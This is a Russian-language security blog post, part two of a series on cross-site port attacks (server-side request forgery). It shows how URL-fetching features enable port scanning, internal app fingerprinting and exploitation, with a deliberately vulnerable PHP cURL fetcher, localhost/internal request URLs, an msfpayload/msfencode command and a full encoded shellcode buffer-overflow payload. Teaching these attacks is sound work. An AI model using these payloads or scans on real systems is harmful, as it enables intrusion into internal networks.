Межсайтовые атаки портов - XSPA – Часть 2


Многие веб-приложения позволяют вытягивать данные с других веб-серверов для различных целей. Этим функционалом можно злоупотреблять с помощью специально сформированных запросов.

Это второй из трех постов, посвященных XSPA, рассказывающих о данных атаках и мерах борьбы с ними.

Атаки

XSPA позволяет атакующим нацеливаться на серверную инфраструктуру, в основном на веб-сервера интранет, веб-сервер уязвимого приложения, а также на любые публичные сервера, имеющие выход в Интернет. Я сталкивался с пятью различными атаками, которые можно запускать через XSPA:

  1. Сканирование портов удаленных серверов с выходом в Интернет, устройств интранет и локального веб-сервера. В некоторых случаях также возможно получить баннеры служб.
  2. Эксплуатирование уязвимых программ, запущенных в интранет или на локальном веб-сервере
  3. Атака внешних/внутренних веб-приложений, которые имеют уязвимости в обработке GET-параметров запроса (SQL-инъекции через URL, манипуляция параметрами и т д.)
  4. Опознание типов и версий веб-приложений интранет с помощью стандартных файлов приложения и его поведения
  5. Чтение файлов локльного веб-сервера с помощью обработчика протокола file:///

Архитектура большинства веб-серверов позволяет веб-серверу обращаться к Интернет и службам, запущенным в интранет. На следующем рисунке показано, куда могут быть направлены запросы:


Теперь давайте посмотрим на некоторые атаки, запуск которых возможен посредством XSPA. Это те атаки, которые я исследовал в рамках программ по поиску багов за вознаграждение, но потенциал XSPA ими не ограничивается. Решительный атакующий с хорошей интуицией может реализовать и другие сценарии.

Атаки - сканирование портов с использованием XSPA

Рассмотрим веб-приложение, которое обладает распространенным функционалом, позволяющим пользователю ввести ссылку на изображение со стороннего сервера. Большинство сайтов социальных сетей обладают таким функционалом, позволяющим пользователям обновлять изображение в их профиле путем загрузки изображения с диска или с URL, ссылающегося на произвольное место в Интернет.

При этом (в утопическом мире) предполагается, что пользователь ввел корректный URL, действительно ссылающийся на изображение в Интернет. Корректными считаются URL такого вида:

  • http://example.com/dir/public/image.jpg
  • http://example.com/dir//images/

Второй URL является корректным, если Content-Type ресурса имеет значение image (http://www.w3.org/Protocols/rfc1341/4_Content-Type.html). Согласно логике серверной стороны веб-приложения, изображение загружается на сервер, для него формируется соответствующий URL, а затем изображение по сформированному URL показывается пользователю. Так что, если вы указали, что изображение находится по адресу

http://example.com/dir/public/image.jpg

сервер вернет вам данное изображение по такому URL

http://gravatar.com/user_/images/username/image.jpg.

Если по предоставленному пользователем URL изображение отсутствует, веб-приложение, как правило, проинформирует об этом пользователя. Однако, если удаленный сервер, являющийся источником предполагаемого изображения, не найден или не обслуживает HTTP-запросы, то ситуация усложняется. Большинство веб-приложений генерируют сообщения об ошибке, уведомляющие пользователя, согласно статусу запроса. Атакующий может ввести нестандартный, но корректный URI с явным указанием порта в формате rfc3986. Вот примеры таких URI:

  • http://example.com:8080/dir//images/
  • http://example.com:22/dir/public/image.jpg
  • http://example.com:3306/dir//images/

По всей вероятности вы обнаружите веб-приложение на порту 8080 а не на 22 (SSH) или 3306 (MySQL). Однако, исходя из логики бэкенда, веб-сервер во всех рассмотренных случаях будет соединяться с указанным пользователем URL на указанном порту, пользуясь своим API и средствами лежащего в его основе фреймворка, каким бы тот ни был, поскольку это все корректные URL протокола HTTP. В случае большинства TCP-сервисов при создании сокета посылаются сообщения-баннеры и, поскольку большинство баннеров (содержащих полезную информацию) составлены из печатных ASCII-симолов, они могут отображаться обработчиком ответов в виде сырого HTML. Если на сервере производится некоторый разбор данных, тогда не-HTML данные могут не отображаться. В этих случаях для определения статуса порта, позволяющего проводить сканирование портов удаленных серверов через уязвимое веб-приложение, можно использовать размер ответа и тип сообщения об ошибке. Атакующий может анализировать возвращенные сообщения об ошибке и определять открытые и закрытые порты на основе уникальных ответов. Эти ответы могут быть необработанными ошибками сокетов (вроде "Connection refused" или таймаутов) или могут быть сформированы приложением (вроде "Unexpected header found" или "Service was not reachable") . Вместо указания URL удаленного сервера, можно передать URL, ссылающийся на localhost (например, http://127.0.0.1:22/image.jpg), чтобы просканировать сам локальный сервер.

Следующая php-реализация на основе cURL может злоупотребляться для сканирования портов устройств:

if (isset($_POST['url'])) {
$link = $_POST['url']-
$filename = './curled/' . rand() . 'txt'-
$curlobj = curl_init($link)-
$fp = fopen($filename, "w")-
curl_setopt($curlobj, CURLOPT_FILE, $fp)-
curl_setopt($curlobj, CURLOPT_HEADER, 0)-
curl_exec($curlobj)-
curl_close($curlobj)-
fclose($fp)-
$fp = fopen($filename, "r")-
$result = fread($fp, filesize($filename))-
fclose($fp)-
echo $result-
}
?>

На представленном ниже снимке экрана показано, как данный код позволяет получить файл robots.txt с http://www.twitter.com:

Запрос: http://www.twitter.com/robots.txt


А вот как данный код отреагирует, если запрос выбирает данные с открытого порта, на котором запущена не-HTTP служба:

Запрос: http://scanme.nmap.org:22/test.txt


Для закрытого порта выводится сообщение об ошибке, заданное веб-приложением

Запрос: http://scanme.nmap.org:25/test.txt


Различные получаемые ответы позволяют нам сканировать порты устройств, используя сервер уязвимого веб-приложения в качестве прокси. Этот процесс легко автоматизировать скриптом, очищающим результаты от мусора. В последующих постах я покажу, как можно провести данную атаку на Facebook, Google, Mozilla, Pinterest, Adobe и Yahoo!

Атакующий также может модифицировать URL запроса, чтобы сканировать внутреннюю сеть локального сервера. Например:

Запрос: http://127.0.0.1:3306/test.txt


Для большинства веб-приложений Интернет, за исключением небольшого числа, получение баннеров служб невозможно. В таком случае в качестве уникальных признаков для определения статуса порта можно использовать специфические сообщения об ошибках, размер ответа, время ответа и изменения в HTML-коде. Следующие скриншоты показывают сканирование портов через XSPA в веб-приложении Webmaster от Google. Отметим, что специфические для приложения сообщения об ошибках могут быть использованы для написания скрипта, автоматически сканирующего устройства Интернет/интранет. Google уже решил данную проблему (и мое имя было отмечено в престижном для исследователей в области безопасности Зале Славы Google).




Атаки – эксплуатация уязвимых сетевых программ

Большинство разработчиков в реальном мире при написании кода мало заботится о безопасности. Вот почему даже спустя десяток лет после того, как угрозы вроде уязвимостей строк формата или переполнения буфера были задокументированы, они все еще встречаются в приложениях. Для приложений, созданных для специфических внутренних нужд компании, безопасность почти никогда не является приоритетом, поэтому, атакуя их, можно легко получить доступ к внутренней сети. XSPA позволяет атакующим посылать данные на указанные пользователем адреса и порты, на которых могут крутиться уязвимые сервисы. Таким образом, XSPA можно использовать для запуска кода на удаленном/локальном сервере и получения обратной оболочки (или выполнения нужных атакующему действий).

Если мы посмотрим на поток атаки XSPA, то увидим, что мы контролируем часть URL, следующую за номером порта. Проще говоря, мы контролируем то, какой ресурс веб-сервер будет выбирать с удаленного/локального сервера. Бэкенд веб-сервера строит GET-запрос (или POST, но в основном GET), соединяется с заданным атакующим сервисом и выполняет HTTP-запрос следующего вида:

GET /attacker_controlled_resource HTTP/1.1
Host: hostname

Если вы следили внимательно, то заметили, что нам не нужно беспокоиться о большей части структуры запроса бэкенда, поскольку мы контролируем большую его часть – спецификацию ресурса. Например, на следующем снимке экрана вы видите, что программа, слушающая 8987 порт на локальном сервере, принимает входные данные и отвечает "Hello GET /test.txt HTTP/1.1, The Server Time is: [server time]". Мы видим, что веб-сервер передает программе строку "GET /test.txt HTTP/1.1" как часть созданного запроса. Если программа уязвима к переполнению буфера, то, поскольку введенные пользователем данные используются для создания выходных данных, атакующий может передать слишком длинную строку и вызвать аварийное завершение программы.

Запрос: http://127.0.0.1:8987/test.txt


Запрос: http://127.0.0.1:8987/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA



Тест копии уязвимого приложения на локальной машине показывает, что EIP можно контролировать, а ESP содержит наши данные. Вычисление нужного смещения для EIP и построение эксплоита выходит за рамки данного поста, но ребята из Corelan выпустили замечательную серию самоучителей по построению эксплоитов для уязвимых программ. Однако, важно отметить, что, хотя протокол HTTP является текстовым, он может не обрабатывать должным образом непечатаемые символы Unicode (имеющиеся в коде эксплоита). В данной ситуации мы можем использовать msfencode (часть фреймворка Метасплоит), чтобы закодировать полезную нагрузку эксплоита цифробуквенными символами. Вот пример команды, выполняющей кодирование:

msfpayload windows/exec CMD=calc.exe R | msfencode BufferRegister=ESP -e x86/alpha_mixed

В результате получим следующий цифробуквенный текст (заполнитель AAAAAA, фиксированный адрес инструкции JMP ESP и шеллкод), который теперь можно послать уязвимой программе через веб-приложение:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@'ß-wTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhmYUPWpWp3Pk9he01xRST
nkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl5RFLWPiQJodM31JgKRHpaBPWNk3bvpL
KsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xnk2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O
76XIpbUzTdC3MHxGKamvDbU8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YS
jRqyoKP2xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOmKON5Uls
6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA

Успешная эксплуатация уязвимости позволяет запустить калькулятор на сервере. Шеллкод теперь можно заменить любой другой полезной нагрузкой (возможно, вызовом обратной оболочки).


Атаки – опознание веб-приложений интранет.

Определение с помощью XSPA того, какие приложения работают во внутренней сети, может быть одним из первых шагов атакующего для попадания во внутреннюю сеть снаружи. Выяснение типа и версии, а также того, является ли приложение публично доступным фреймворком, платформой для блогов, модулем приложения или просто настраиваемой открытой CMS, существенно для определения уязвимостей, которые можно использовать для получения доступа во внутреннюю сеть.

Большинство открыто доступных фреймворков для веб-приложений включают в себя отличительные файлы и папки, присутствие которых говорит о типе и версии приложения. Большинство веб-приложений также сообщают версию и прочую информацию в мета-тегах и комментариях HTML-кода. На основании полученных результатов затем можно найти специфические уязвимости. Например, следующие уникальные сигнатуры помогают опознать экземпляр phpMyAdmin, Wordpress или Drupal соответственно:

Запрос: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png

Запрос: http://127.0.0.1:8081/wp-content/themes/default//images/audio.jpg

Запрос: http://127.0.0.1:8082/profiles/minimal/translations/README.txt

Следующий запрос пытается обнаружить присутствие маршрутизатора Dlink:

Запрос: http://10.0.0.1/portName.js


Как только веб-приложение было определено, атакующий может исследовать уязвимости и эксплуатировать уязвимые приложения. В следующем посте мы увидим, как могут быть атакованы веб-приложения интранет и как можно злоупотреблять функцоналом сервера через другие протоколы. Мы также рассмотрим предлагаемые разработчикам меры, призванные пресечь XSPA или ограничить урон, наносимый данным видом атак.